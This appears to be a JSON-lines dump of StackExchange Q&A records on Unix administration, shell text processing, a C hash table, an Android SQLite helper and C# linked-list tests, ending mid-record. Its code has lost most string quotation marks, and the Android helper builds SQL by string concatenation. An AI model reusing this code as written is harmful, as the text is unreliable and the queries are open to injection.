{  "id": "_unix.343081"  , "question": "I added persistent volume to open stack server. I created volume from default image (Centos 7).I wan't to boot from this persistent volume now on and maybe keep that or remove other disk just for temporary files. How I can do this ?"  , "title": "Change disk to boot from"  , "tags": "centos;boot;hard disk"  } 
{  "id": "_unix.315876"  , "question": "I have 2 text in different files file1 and file2. I need a command that takes file1 and file2 as arguments and print on terminalThis is text 1. This is              This is text 2. This istext 1.This is text 1. This          text 2.This is text 2. Thisis text 1. This is text 1.           is text 2. This is text 2. This is text 1.                      This is text 2."  , "title": "How to print 2 texts in two columns"  , "tags": "text processing;columns;text formatting"  , "accepted_answer": "For columns of size 10 distant of 20 characterspaste <(fold file1 -w 10) <(fold file2 -sw 10)  | pr -t -e20fold options-w is the column width-s avoid having separated words from line to linepr options-t  leads to omit header and footer (date, time and page number)-eN set N to be the number of spaces replacing the tab produced by paste"  } 
{  "id": "_unix.490"  , "question": "I'm looking for some common problems in unix system administration and ways that shell scripting can solve them. Completely for self-educational purposes. Also I'd like to know how would you go about learning shell scripting."  , "title": "Practical tasks to learn shell scripting"  , "tags": "shell;scripting;learning"  , "accepted_answer": "Any time you EVER find yourself doing something multiple times, script it.  Think as lazy as you possibly can.  Computers were built to do all of that menial crap.  Any thing that smells like busy work needs a shell script.Personally, I learned by rummaging around in Slackware for a couple of years. See what happens when you strip your system back as much as possible.  Learn to be comfortable with text. While everybody else is ooing and awing over NetworkManager, learn how simple it is to make your own damn NetworkManager.  Sure, it might not have as many use cases, but you can get something up and running, dynamically connecting via ethernet and wireless on-demand pretty simply enough.  "  } 
{  "id": "_unix.17023"  , "question": "Coming from the Windows world, I have found the majority of the folder directory names to be quite intuitive:\\Program Files contains files used by programs (surprise!)\\Program Files (x86) contains files used by 32-bit programs on 64-bit OSes\\Users (formerly Documents and Settings) contains users' files, i.e. documents and settings\\Users\\USER\\Application Data contains application-specific data\\Users\\USER\\Documents contains documents belonging to the user\\Windows contains files that belong to the operation of Windows itself\\Windows\\Fonts stores font files (surprise!)\\Windows\\Temp is a global temporary directoryet cetera. Even if I had no idea what these folders did, I could guess with good accuracy from their names.Now I'm taking a good look at Linux, and getting quite confused about how to find my way around the file system.For example:/bin contains binaries. But so do /sbin, /usr/bin, /usr/sbin, and probably more that I don't know about. Which is which?? What is the difference between them? If I want to make a binary and put it somewhere system-wide, where do I put it?/media contains external media file systems. But so does /mnt. And neither of them contain anything on my system at the moment; everything seems to be in /dev. What's the difference? Where are the other partitions on my hard disk, like the C: and D: that were in Windows?/home contains the user files and settings. That much is intuitive, but then, what is supposed to go into /usr? And how come /root is still separate, even though it's a user with files and settings?/lib contains shared libraries, like DLLs. But so does /usr/lib. What's the difference?What is /etc? Does it really stand for et cetera, or something else? What kinds of files should go in there -- global or local? Is it a catch-all for things no one knew where to put, or is there a particular use case for it?What are /opt, /proc, and /var? What do they stand for and what are they used for? I haven't seen anything like them in Windows*, and I just can't figure out what they might be for.If anyone can think of other standard places that might be good to know about, feel free to add it to the question; hopefully this can be a good reference for people like me, who are starting to get familiar with *nix systems.*OK, that's a lie. I've seen similar things in WinObj, but obviously not on a regular basis. I still don't know what these do on Linux, though."  , "title": "Standard and/or common directories on Unix/Linux OSes"  , "tags": "linux;directory structure;fhs"  , "accepted_answer": "Linux distributions use the FHS: http://www.pathname.com/fhs/pub/fhs-2.3.html You can also try man hier.I'll try to sum up answers your questions off the top of my head, but I strongly suggest  that you read through the FHS:/bin is for non-superuser system binaries/sbin is for superuser (root) system binaries/usr/bin & /usr/sbin are for non-critical shared non-superuser or superuser binaries, respectively/mnt is for temporarily mounting a partition/media is for mounting many removable media at once/dev contains your system device files; it's a long story :)The /usr folder, and its subfolders, can be shared with other systems, so that they will have access to the same programs/files installed in one place. Since /usr is typically on a separate filesystem, it doesn't contain binaries that are necessary to bring the system online./root is separate because it may be necessary to bring the system online without mounting other directories which may be on separate partitions/hard drives/serversYes, /etc stands for et cetera. Configuration files for the local system are stored there./opt is a place where you can install programs that you download/compile. That way you can keep them separate from the rest of the system, with all of the files in one place./proc contains information about the kernel and running processes/var contains variable size files like logs, mail, webpages, etc.To access a system, you generally don't need /var, /opt, /usr, /home; some of potentially largest directories on a system.One of my favorites, which some people don't use, is /srv. It's for data that is being hosted via services like http/ftp/samba. I've see /var used for this a lot, which isn't really its purpose."  } 
{  "id": "_codereview.171784"  , "question": "The following code is an implementation of an hashtable in C.hashTable.c:  #include <stdio.h>  #include <string.h>  #include <stdlib.h>  #include hashTable.h  int hashCode(int key) {     return key % SIZE;  }  /*     By given key returns a pointer to a DataItem with the same key     Input: Pointer to hashArray array, int key value     Output: If key found - the pointer to a DataItem else NULL  */  DataItem *getValueByKey (DataItem** hashArray, int key) {     /* Get the hash */     int hashIndex = hashCode(key);       /* Move in array until an empty */     while(hashArray[hashIndex] != NULL) {        if(hashArray[hashIndex]->key == key)           return hashArray[hashIndex];         /* Go to next cell */        ++hashIndex;        /* Wrap around the table */        hashIndex %= SIZE;     }             return NULL;          }  /*     Adding a DataItem to a hashArray     Input: Pointer to hashArray array, int key value, char* (string) data value     Output: None  */  void putValueForKey (DataItem** hashArray, int key, char *data) {     /* Get the hash */     int hashIndex = hashCode(key);     DataItem *item = (DataItem*) malloc(sizeof(DataItem));     item->data = data;       item->key = key;     /* Move in array until an empty or deleted cell */     while(hashArray[hashIndex] != NULL) {        /* Go to next cell */        ++hashIndex;        /* Wrap around the table */        hashIndex %= SIZE;     }     hashArray[hashIndex] = item;  }  /*     Deleting a DataItem node from an hash array     Input: Pointer to hashArray array, pointer to the item we want to delete     Output: The deleted item pointer  */  DataItem* deleteHash (DataItem** hashArray, DataItem* item) {     int key;     int hashIndex;     if (item == NULL)     {        return NULL;     }     key = item->key;     /* Get the hash */     hashIndex = hashCode(key);     /* Move in array until an empty */     while(hashArray[hashIndex] != NULL) {        if(hashArray[hashIndex]->key == key) {           DataItem* temp = hashArray[hashIndex];            /* Assign a dummy item at deleted position */           hashArray[hashIndex] = NULL;            return temp;        }        /* Go to next cell */        ++hashIndex;        /* Wrap around the table */        hashIndex %= SIZE;     }           return NULL;          }  /*     displaying an hash array     Input: Pointer to hashArray array     Output: None  */  void displayHashTable (DataItem** hashArray) {     int i = 0;     for (i = 0; i < SIZE; i++) {        if (hashArray[i] != NULL)           printf( (%d,%s),hashArray[i]->key,hashArray[i]->data);        else           printf( ~~ );     }     printf(\\n);  }  /*     Freeing an hash array     Input: Pointer to hashArray array     Output: None  */  void freeHashTable (DataItem** hashArray) {     int i = 0;     for (i = 0; i < SIZE; ++i)     {        if (hashArray[i] != NULL) {           free(hashArray[i]);        }     }  }  /*     Initialize an hash array by setting all the nodes to NULL     Input: Pointer to hashArray array     Output: None  */  void initializeHashArray (DataItem** hashArray) {     int i = 0;     for (i = 0; i < SIZE; i++) {        hashArray[i] = NULL;     }  }  int main() {     DataItem* hashArray[SIZE];     initializeHashArray(hashArray);     putValueForKey(hashArray, 100, MAIN);     putValueForKey(hashArray, 107, LOOP);     putValueForKey(hashArray, 121, END);     putValueForKey(hashArray, 122, STR);     putValueForKey(hashArray, 129, LENGTHHHHHHHHHHHHHHHHHHHHH);     putValueForKey(hashArray, 132, K);     putValueForKey(hashArray, 133, M1);     displayHashTable(hashArray);     DataItem* item = getValueByKey(hashArray, 100);     if (item != NULL) {        printf(Element found: %s\\n, item->data);     }      else {        printf(Element not found\\n);     }     deleteHash(hashArray, item);     item = getValueByKey(hashArray, 100);     if (item != NULL) {        printf(Element found: %s\\n, item->data);     }      else {        printf(Element not found\\n);     }     displayHashTable(hashArray);     freeHashTable(hashArray);  }I believe this code is well commented and very understandable, if you think it's not please let me know.The main is there just for testing and will not be part of the final code.My main concerns are: The free function (freeHashTable) because I don't know how to test it so I don't know if it's working.The while loops that might get into an infinite loop condition for some reason.Also this is the first time I'm trying to implement hash table, so if I'm missing something from the logical aspect of hash code explanation will be very welcomed.hashTable.h:#define SIZE 20struct DataItem {    char *data;       int key;}typedef DataItem;DataItem *getValueByKey (DataItem** hashArray, int key);void putValueForKey (DataItem** hashArray, int key, char *data);DataItem* deleteHash (DataItem** hashArray, DataItem* item);void displayHashTable (DataItem** hashArray);void freeHashTable (DataItem** hashArray);void initializeHashArray (DataItem** hashArray);Thanks in advance!"  , "title": "C hashtable implementation"  , "tags": "c;hash table"  } 
{  "id": "_unix.141571"  , "question": "To paste many files, whose names are incremental numbers:paste {1..8}| column -s $'\\t' -tWhat if your files wasn't named by number, but only words?It can be up to ten files, what should I do?In addition, you have a list of files that contains all the files you want.So far, my approach is:mkdir pastej=0; while read i; do let j+=1; cp $i/ paste/$j; done<list;cd paste; paste {1..8}| column -s $'\\t' -tI have no problem with this approach, I just want to ask if there is any shorter one.Actually my files have the same name, just on different locations, for instance 1MUI/PQR/A/sum, 2QHK/PQR/A/sum, 2RKF/PQR/A/sum. The paste command should be paste {list}/PQR/A/sum. The list file is:1MUI2QHK2RKF..."  , "title": "How to use paste command for many files whose names are not numbers? (paste columns from each file to one file)"  , "tags": "shell script;command line;paste"  , "accepted_answer": "With bash 4mapfile -t <listpaste ${MAPFILE[@]} | column -s $'\\t' -tfor the paste {list}/PQR/A/sum version of the questionmapfile -t <listpaste ${MAPFILE[@]/%//PQR/A/sum} | column -s $'\\t' -t    "  } 
{  "id": "_unix.337743"  , "question": "I am unable to filter traffic where packet loss is > 0.  I am attempting the following, but I get an error instead:racluster -n -m saddr/24 daddr proto -% -s stime dur trans proto dport sport saddr dir daddr pkts bytes loss sjit djit | ra - loss pkts gt 0Essentially, I am wanting to find traffic where packet loss occurs."  , "title": "How to set network traffic filter for packet loss?"  , "tags": "networking;monitoring;argus"  } 
{  "id": "_unix.299901"  , "question": "I'm using Elementary OS 0.3.4 Freya 64 bits. I was just doing okay, but all of a sudden google chrome stopped working. I tried opening again but it just won't work. I uninstalled using sudo apt-get purge google-chrome-stable and installed it again with the .deb from the official website, but nothing works.I then tried launching it from the terminal and this is what I get:Gtk-Message: Failed to load module pantheon-filechooser-module[19712:19712:0801/205511:ERROR:browser_main_loop.cc(261)] GTK theme error: Unable to locate theme engine in module_path: pixmap,[19712:19712:0801/205511:ERROR:browser_main_loop.cc(261)] GTK theme error: Unable to locate theme engine in module_path: pixmap,[19712:19712:0801/205511:ERROR:browser_main_loop.cc(261)] GTK theme error: Unable to locate theme engine in module_path: pixmap,[19712:19712:0801/205511:ERROR:browser_main_loop.cc(261)] GTK theme error: Unable to locate theme engine in module_path: pixmap,[19712:19712:0801/205511:ERROR:browser_main_loop.cc(261)] GTK theme error: Unable to locate theme engine in module_path: pixmap,Bus error (core dumped)I didn't install any update, it just stopped working and never open again. Any help will be appreciated."  , "title": "Google Chrome stopped working and won't open"  , "tags": "ubuntu;chrome;elementary os;pantheon"  } 
{  "id": "_webmaster.60664"  , "question": "I am currently trying to find a host for my website. The website allows people to host projects in a somewhat similar way to this. I would rather not reveal more about what it is until I release it. The problem is, that with users uploading files for their mods/projects/etc I would quickly reach any inode limit, especially with my current folder structure.http://www.example.com/files/HOrrZCINYUoTxPVzaRrRFYUQRDxPPRun/wiD4Pj38Tkq/SomeFileUploadedWithTheProperNameStillHere.jar.As you can see from that, it is a quite long URL. The first set of jumble is the project id (every project has one), it stays the same for all files of the same project. The second set of jumble is the file id, randomly generated for each file. There is a file id so that files of the same name can be uploaded to each project (Example would if someone uploads 2 MyProject.jar files, one for version 1 and another for version 2). So far I cannot find any hosts that allow for unlimited inodes, every host has a 25,000-500,000 limit (hence too small). Even if that was big enough, I would prefer not to have the imminent loom of inode limit bypassing over my head all the time (It would drive me insane). I would like either a link to a host with unlimited MySQL, disk space, and inodes. Or another way to do this. I was thinking about storing the files in a MySQL database, however it seems like most hosts limit those too (Including the database's files in the inode count)."  , "title": "How do I work around hitting the inode limit imposed by web hosts?"  , "tags": "web hosting"  } 
{  "id": "_codereview.141919"  , "question": "Starting with the fact that creating the classic database handler in Android is really annoying and it usually takes a lot of time since you have to create one handler for each object, I thought at creating a generic one that could avoid this long work.I'm posting this code for many reasons, the main one being that I would love some suggestions about how to optimize this code way to make it as fast as possible.This code is working, I don't need a fix, but I will surely need some optimizations because I'm not a senior and surely someone here knows how to perform the same operations with less memory impact.How to use it:At app start:Simply call this code:    DatabaseHelper db = new DatabaseHelper(this);    db.OpenDB();    try {        db.CreateTable(new myClass1());        db.CreateTable(new myClass2());        ...    } catch (Exception e) {        e.printStackTrace();    }Now all tables are created or updated.Generic class(Every class that needs to be a database table, must extend this class)PS: the id field must be called id and must be UUIDimport android.content.Context;import java.util.ArrayList;import java.util.List;import java.util.UUID;interface IGenericClass {    ArrayList<?> SelectAll(Class<?> type, Context ctx, String whereClause);    int SelectCount(Class<?> type, Context ctx, String whereClause);    boolean SaveAll(List<?> objects, Context ctx);    boolean Save(Object object, Context ctx);    boolean Save(Context ctx);    boolean UpdateObject(Context ctx);    Integer SumColumn(Class<?> type, Context ctx, String whereClause, String columnName);    boolean DeleteAll(Class<?> type, Context ctx);    boolean Delete(Class<?> ciboClass, Context ctx, String whereClause);    Object SelectById(Class<?> type, Context ctx, UUID id);}public class GenericClass implements IGenericClass {    public ArrayList<?> SelectAll(Class<?> type, Context ctx, String whereClause) {        DatabaseHelper db = new DatabaseHelper(ctx);        db.OpenDB();        ArrayList<?> returnList = new ArrayList<>();        try {            return db.SelectAll(this.getClass(), whereClause);        } catch (Exception ex) {            return null;        }    }    public int SelectCount(Class<?> type, Context ctx, String whereClause) {        DatabaseHelper db = new DatabaseHelper(ctx);        db.OpenDB();        try {            return db.SelectCount(this.getClass(), whereClause);        } catch (Exception ex) {            return -1;        }    }    public Integer SumColumn(Class<?> type, Context ctx, String whereClause, String columnName) {        DatabaseHelper db = new DatabaseHelper(ctx);        db.OpenDB();        try {            return db.SumColumn(this.getClass(), whereClause, columnName);        } catch (Exception ex) {            return -1;        }    }    public boolean Save(Object object, Context ctx) {        DatabaseHelper db = new DatabaseHelper(ctx);        db.OpenDB();        return db.Save(object);    }    public boolean Save(Context ctx) {        DatabaseHelper db = new DatabaseHelper(ctx);        db.OpenDB();        return db.Save(this);    }    public boolean SaveAll(List<?> objects, Context ctx) {        DatabaseHelper db = new DatabaseHelper(ctx);        db.OpenDB();        return db.SaveAll(objects);    }    public boolean UpdateObject(Context ctx) {        DatabaseHelper db = new DatabaseHelper(ctx);        db.OpenDB();        db.UpdateObject(this);        return true;    }    public boolean DeleteAll(Class<?> type, Context ctx) {        DatabaseHelper db = new DatabaseHelper(ctx);        db.OpenDB();        return db.DeleteAll(type);    }    public boolean Delete(Class<?> ciboClass, Context ctx, String whereClause) {        DatabaseHelper db = new DatabaseHelper(ctx);        db.OpenDB();        return db.Delete(ciboClass, whereClause);    }    public Object SelectById(Class<?> type, Context ctx, UUID id) {        DatabaseHelper db = new DatabaseHelper(ctx);        db.OpenDB();        return db.SelectById(type, id);    }}Database HelperThis is the handler for the SQLiteDatabaseimport android.content.Context;import android.database.Cursor;import android.database.sqlite.SQLiteDatabase;import android.os.Build;import android.util.Pair;import java.lang.reflect.Field;import java.util.ArrayList;import java.util.Date;import java.util.List;import java.util.Objects;import java.util.UUID;interface IDatabaseHelper {    ArrayList<?> SelectAll(Class<?> tipo, String whereClause);    int SelectCount(Class<?> type, String whereClause);    boolean Save(Object object);    boolean SaveAll(List<?> objects);    boolean OpenDB();    boolean CreateTable(Object object);    void Close();    Integer SumColumn(Class<?> type, String whereClause, String columnName);    boolean DeleteAll(Class<?> type);    Object SelectById(Class<?> type, UUID id);    boolean Delete(Class<?> type, String whereClause);    boolean UpdateObject(Object objToUpdate);}public class DatabaseHelper implements IDatabaseHelper {    private static final String DATABASE_NAME = myDatabase.db;    private static String DATABASE_FULLPATH = ;    private static SQLiteDatabase database;//    private static SimpleDateFormat simpleDateFormat = new SimpleDateFormat(dd/MM/yyyy, Locale.getDefault());    //constructor    public DatabaseHelper(Context context) {        DATABASE_FULLPATH = context.getFilesDir().getPath() + / + DATABASE_NAME;    }    //returns all object of the given class    public ArrayList<?> SelectAll(Class<?> type, String whereClause) {        if (whereClause == null) {            whereClause = ;        }        String query = select * from  + type.getSimpleName() +   + whereClause;        Cursor cursor = database.rawQuery(query, null);        ArrayList list = new ArrayList();        try {            if (cursor.moveToFirst()) {                while (!cursor.isAfterLast()) {                    Object o = GetObjectFromCursor(type, cursor);                    list.add(o);                    cursor.moveToNext();                }            }            cursor.close();            return list;        } catch (Exception ex) {            return null;        }    }    //returns the count of records of given type    public int SelectCount(Class<?> type, String whereClause) {        try {            if (whereClause == null) {                whereClause = ;            }            String query = select count(*) from  + type.getSimpleName() +   + whereClause;            Cursor cursor = database.rawQuery(query, null);            cursor.moveToFirst();            int count = cursor.getInt(0);            cursor.close();            return count;        } catch (Exception ex) {            return -1;        }    }    //save an object    public boolean Save(Object object) {        //we build the query for each object        String insertQuery = insert into  + object.getClass().getSimpleName() + (;        try {            ArrayList<Pair<String, Object>> name_value = GetFieldNameValue(object);            String tableNames = ;            String tableValues = ;            //for each record we add the values and the field names            for (Pair<String, Object> pair : name_value) {                tableNames += pair.first + ,;                tableValues += ' + pair.second.toString() + ' + ,;            }            //remove the last comma            tableNames = tableNames.substring(0, tableNames.length() - 1);            tableValues = tableValues.substring(0, tableValues.length() - 1);            //finished adjusting query            insertQuery += tableNames + )values( + tableValues + );;            database.execSQL(insertQuery);            return true;        } catch (Exception ex) {            return false;        }    }    //save multiple objects into db    public boolean SaveAll(List<?> objects) {        int saved = 0;        for (Object object : objects) {            if (Save(object)) {                saved++;            } else {                return false;            }        }        return saved == objects.size();    }    //open db    public boolean OpenDB() {        try {            database = SQLiteDatabase.openOrCreateDatabase(DATABASE_FULLPATH, null, null);            return true;        } catch (Exception ex) {            return false;        }    }    //create a table if not exists    public boolean CreateTable(Object object) {        try {            String query = GetCreateQueryFromObject(object);            database.execSQL(query);            //we check for each field if it exists, if not it create the field on the database            String className = object.getClass().getSimpleName();            try {                List<Pair<String, Object>> fields = GetFieldNameValue(object);                for (Pair<String, Object> c : fields) {                    if (!CheckColumnExistInTable(className, c.first)) {                        String addColumnSql = alter table ;                        addColumnSql += className;                        addColumnSql +=  add ;                        addColumnSql += c.first;                        String columnType = GetSQLFieldType(c.first, c.second.getClass().getSimpleName());                        addColumnSql +=   + columnType;                        database.execSQL(addColumnSql);                    }                }                return true;            } catch (Exception ex) {                return false;            }        }catch(Exception ex){            return false;        }    }    //closes db    public void Close() {        database.close();    }    //sum a column value for a given table    public Integer SumColumn(Class<?> type, String whereClause, String columnName) {        String sql = select sum( + columnName + ) as total from  + type.getSimpleName() +   + whereClause;        Cursor cursor = database.rawQuery(sql, null);        int columnIndex = cursor.getColumnIndex(total);        if (columnIndex == -1) {            return 0;        }        if (cursor.moveToFirst()) {            int value = cursor.getInt(columnIndex);            cursor.close();            return value;        } else {            cursor.close();            return 0;        }    }    //delete all record in a table    public boolean DeleteAll(Class<?> type)  {        String sql = delete from  + type.getSimpleName();        database.execSQL(sql);        return true;    }    //select a record from id    public Object SelectById(Class<?> type, UUID id) {        String query = select * from  + type.getSimpleName() +  where id=' + id.toString() + ';        Cursor cursor = database.rawQuery(query, null);        if (cursor.moveToFirst()) {            try {                Object object = GetObjectFromCursor(type, cursor);                cursor.close();                return object;            } catch(Exception ex){                return null;            }        } else {            return null;        }    }    //delete all records with a given condition    public boolean Delete(Class<?> type, String whereClause) {        try {            String sql = delete from  + type.getSimpleName() +   + whereClause;            database.execSQL(sql);            return true;        } catch (Exception ex) {            return false;        }    }    //update an object from his id    public boolean UpdateObject(Object objToUpdate) {        try {            Field field = objToUpdate.getClass().getField(id);            int id = (int) field.get(objToUpdate);            String whereClause = where id =  + id;            String sqlQuery = update  + objToUpdate.getClass().getSimpleName() +  set ;            ArrayList<Pair<String, Object>> name_value = GetFieldNameValue(objToUpdate);            //for each field we add name and value            for (Pair<String, Object> pair : name_value) {                if (!pair.first.equals(id)) {                    sqlQuery += pair.first + =;                    sqlQuery += ' + pair.second.toString() + ' + ,;                }            }            sqlQuery = sqlQuery.substring(0, sqlQuery.length() - 1);            sqlQuery +=  ;            sqlQuery += whereClause;            database.execSQL(sqlQuery);            return true;        } catch (Exception ex) {            return false;        }    }    private boolean CheckColumnExistInTable(String tableName, String columnName) {        Cursor mCursor = null;        try {            // Query 1 row            mCursor = database.rawQuery(SELECT * FROM  + tableName +  LIMIT 0, null);            // getColumnIndex() gives us the index (0 to ...) of the column - otherwise we get a -1            return mCursor.getColumnIndex(columnName) != -1;        } catch (Exception Exp) {            return false;        } finally {            if (mCursor != null) mCursor.close();        }    }    //given a cursor and a class, it returns the object from the cursor    private Object GetObjectFromCursor(Class<?> tipo, Cursor cursor) throws Exception {        Field[] fields = tipo.getFields();        Object o = tipo.newInstance();        for (int i = 0; i < fields.length; i++) {            Object fieldValue = GetCursorFieldValue(cursor, i);            if (fieldValue != null) {                o = SetUnknownFieldValue(o, cursor.getColumnName(i), fieldValue);            }        }        return o;    }    //returns from a given object a fieldName - fieldValue map    private ArrayList<Pair<String, Object>> GetFieldNameValue(Object object) throws Exception {        Field[] fields = object.getClass().getFields();        ArrayList<Pair<String, Object>> pairs = new ArrayList<>();        for (Field f : fields) {            Object value = GetUnknownObjectFieldValue(f, object);            String fieldName = f.getName();            if (value == null || fieldName.isEmpty()) {                continue;            }            pairs.add(new Pair(fieldName, value));        }        return pairs;    }    //returns from an object and a field name, the value    private Object GetUnknownObjectFieldValue(Field field, Object object) throws Exception {            field.setAccessible(true);            Object o = field.get(object);            //we save dates as longs            Date date = new Date();            UUID uuid = UUID.randomUUID();            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {                if (o != null && Objects.equals(o.getClass(), date.getClass())) {                    return new Date((long) o);                }                if (o != null && Objects.equals(o.getClass(), uuid.getClass())) {                    return o.toString();                }            } else {                if (o != null && o.getClass().equals(date.getClass())) {                    return new Date((long) o);                }                if (o != null && o.getClass().equals(uuid.getClass())) {                    return o.toString();                }            }            return o;    }    //we set the value val on the field field. we use this to value an object without having its name    private Object SetUnknownFieldValue(Object object, String fieldName, Object fieldValue) throws Exception {        Class<?> clazz = object.getClass();            Field field = clazz.getDeclaredField(fieldName);            field.setAccessible(true);            Object fieldCasted = CastField(field.getType(), fieldValue);            field.set(object, fieldCasted);            return object;    }    //we take the field type and the object way to convert the object in the required field    private Object CastField(Class fieldType, Object fieldValue) throws Exception {            switch (fieldType.getSimpleName().toLowerCase()) {                case boolean:                    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {                        if (Objects.equals(fieldValue.getClass().getSimpleName(), String)) {                            return Objects.equals(fieldValue, true);                        }                    } else {                        if (fieldValue.getClass().getSimpleName().equals(String)) {                            return fieldValue.equals(true);                        }                    }                    break;                case double:                    if (fieldValue == null) {                        return null;                    }                    return (double) Float.parseFloat(fieldValue.toString());                case date:                    return new Date((long) fieldValue);                case uuid:                    return UUID.fromString((String) fieldValue);                default:                    return fieldValue;            }            return fieldValue;    }    //return a generic field value from cursor    private Object GetCursorFieldValue(Cursor cursor, int i) {        switch (cursor.getType(i)) {            /*  FIELD_TYPE_NULL                FIELD_TYPE_INTEGER                FIELD_TYPE_FLOAT                FIELD_TYPE_STRING                FIELD_TYPE_BLOB  */            case 0:                return null;            case 1:                return cursor.getInt(i);            case 2:                return cursor.getFloat(i);            case 3:                return cursor.getString(i);            case 4:                return cursor.getBlob(i);            default:                cursor.close();                return null;        }    }    //prende un oggetto e ne crea la query di creazione tabella    private String GetCreateQueryFromObject(Object object) throws Exception {        String fullQuery = create table if not exists ;        String objectName = GetTableName(object);        fullQuery += objectName +  ;        String properties = GetPropertiesFromObject(object);        fullQuery += ( + properties + );;        return fullQuery;    }    //returns object properties as: (fieldName fieldType, fieldName fieldType,..)    private String GetPropertiesFromObject(Object object) throws Exception {        Class<?> tClass = object.getClass();        Field[] fieldsArray = tClass.getFields();        ArrayList<Pair<String, String>> fieldMap = GetFields(fieldsArray);//1 field name, 2 field type        String fields = ;        for (Pair<String, String> field : fieldMap) {            fields += field.first +  ;            fields += GetSQLFieldType(field.first, field.second) + , ;        }        return fields.substring(0, fields.length() - 2);    }    //returns from a given type, the sql type required    private String GetSQLFieldType(String fieldName, String fieldType) throws Exception {        if (fieldName.toLowerCase().equals(id)) {            return TEXT PRIMARY KEY UNIQUE;        }        switch (fieldType.toLowerCase()) {            case uuid:                return TEXT;            case string:                return TEXT;            case int:                return INT;            case double:                return DOUBLE;            case boolean:                return BOOLEAN;            case float:                return FLOAT;            case integer:                return INT;            case date:                return INT;            default:                return BLOB;        }    }    //returns from an object the table name    private String GetTableName(Object object) {        return object.getClass().getSimpleName();    }    //returns a map with an object properties as <fieldType-fieldName>    private ArrayList<Pair<String, String>> GetFields(Field[] fields) {        ArrayList<Pair<String, String>> pairs = new ArrayList<>();        for (Field f : fields) {            if (!f.getName().equals(shadow$_klass_) && !f.getName().equals(shadow$_monitor_) && !f.getName().equals($change)) {                pairs.add(new Pair<>(f.getName(), f.getType().getSimpleName()));            }        }        return pairs;    }}"  , "title": "Android generic SQL database handler"  , "tags": "java;performance;android;sqlite"  } 
{  "id": "_codereview.4911"  , "question": "I have implemented generic doubly-linked list class, which supports IEnumerable<T>,IEnumerator<T> interfaces.DoublyLinkedList<T> is fully compatible with standart BCL classes.Targets:class can be used as a standard replacement for Stack<T>, Queue<T> and List<T>.class itself is immutable, so you can-not change the containing value of the element.class methods raises exceptions which conforms for common considerations.class method's lock statement was used for locking current active element. class Push, Pop, Peek operations is breaking the current state of the enumerated object.How can we compare the performance for that class compared to the BCL classes and other implementation?Will you provide the C# code to compare to the BCL classes like Stack<T>, Querty<T>, List<T>?Unit tests (code coverage - 100%):[TestClass]public class DoublyLinkedListUnitTest{    [TestMethod]    public void TestValueMethod()    {        DoublyLinkedList<int> dll = new DoublyLinkedList<int>();        int i1 = 1;        int i2 = 2;        int i3 = 3;        Assert.AreEqual(((IDoublyLinkedList<int>)dll).Index, -1);        try        {            dll.Peek();        }        catch (Exception ex)        {            Assert.AreEqual(typeof(InvalidOperationException), ex.GetType());        }        using (IEnumerator<int> dllEnumerator = dll.GetEnumerator())        {            Assert.AreEqual(dll.MoveLast(), false);            Assert.AreEqual(dll.MovePrevious(), false);            Assert.AreEqual(dllEnumerator.MoveNext(), false);            Assert.AreEqual(dllEnumerator.Current, default(int));            Assert.AreEqual(dll.Count, 0);            Assert.AreEqual(dll.CurrentIndex, -1);            try            {                dll.Pop();            }            catch (Exception ex)            {                Assert.AreEqual(typeof(InvalidOperationException), ex.GetType());            }            dll.Add(i1);            dll.MovePrevious();            try            {                dll.Remove();            }            catch (Exception ex)            {                Assert.AreEqual(typeof(InvalidOperationException), ex.GetType());            }            dll.MoveLast();            Assert.AreEqual(dllEnumerator.MoveNext(), true);            Assert.AreEqual(dllEnumerator.Current, i1);            Assert.AreEqual(dll.Count, 1);            Assert.AreEqual(dll.CurrentIndex, 0);            dll.Add(i2);            Assert.AreEqual(dllEnumerator.MoveNext(), true);            Assert.AreEqual(dllEnumerator.Current, i2);            Assert.AreEqual(dll.Count, 2);            Assert.AreEqual(dll.CurrentIndex, 1);            dll.MoveFirst();            try            {                dll.Remove();            }            catch (Exception ex)            {                Assert.AreEqual(typeof(InvalidOperationException), ex.GetType());            }            try            {                dll.Add(i1);            }            catch (Exception ex)            {                Assert.AreEqual(typeof(InvalidOperationException), ex.GetType());            }            dll.MoveLast();            dll.Add(i3);            Assert.AreEqual(dllEnumerator.MoveNext(), true);            Assert.AreEqual(dllEnumerator.Current, i3);            Assert.AreEqual(dll.Count, 3);            Assert.AreEqual(dll.CurrentIndex, 2);        }        IEnumerator o = ((IEnumerable)dll).GetEnumerator();        o.MoveNext();        Assert.AreEqual(o.Current, i1);        List<int> list = new List<int>();        dll.CopyTo(list);        Assert.AreEqual(dll.ToList().Except(list).Count(), 0);        Assert.AreEqual(list.Except(dll).Count(), 0);        Assert.AreEqual(list.Count, 3);        Assert.AreEqual(list[0], i1);        Assert.AreEqual(list[1], i2);        Assert.AreEqual(list[2], i3);        using (IEnumerator<int> dllEnumerator = dll.GetEnumerator())        {            if (dll.Count > 0)            {                dll.Remove();            }            Assert.AreEqual(dllEnumerator.MoveNext(), true);            Assert.AreEqual(dllEnumerator.Current, i1);            if (dll.Count > 0)            {                dll.Remove();            }            Assert.AreEqual(dllEnumerator.MoveNext(), false);            if (dll.Count > 0)            {                dll.Remove();            }        }        try        {            dll.Remove();        }        catch (Exception ex)        {            Assert.AreEqual(typeof(InvalidOperationException), ex.GetType());        }        dll.AddRange(list);        try        {            dll.AddRange(null);        }        catch (Exception ex)        {            Assert.AreEqual(typeof(ArgumentNullException), ex.GetType());        }        try        {            dll.MoveFirst();            dll.AddRange(list);        }        catch (Exception ex)        {            Assert.AreEqual(typeof(InvalidOperationException), ex.GetType());        }        Assert.AreEqual(dll.Contains(i1), true);        Assert.AreEqual(dll.Contains(i2), true);        Assert.AreEqual(dll.Contains(i3), true);        Assert.AreEqual(dll.Contains(default(int)), false);        using (IEnumerator<int> dllEnumerator = dll.GetEnumerator())        {            Assert.AreEqual(dllEnumerator.MoveNext(), true);            Assert.AreEqual(dllEnumerator.Current, i1);            Assert.AreEqual(dllEnumerator.MoveNext(), true);            Assert.AreEqual(dllEnumerator.Current, i2);            Assert.AreEqual(dllEnumerator.MoveNext(), true);            Assert.AreEqual(dllEnumerator.Current, i3);        }        Stack<int> stack = new Stack<int>();        stack.Push(i3);        stack.Push(i2);        stack.Push(i1);        foreach (object value in dll)        {            Assert.AreEqual(stack.Pop(), value);        }        try        {            int value = default(int);            while ((value = dll.Pop()) != default(int))            {                stack.Push(value);            }        }        catch (Exception ex)        {            Assert.AreEqual(typeof(InvalidOperationException), 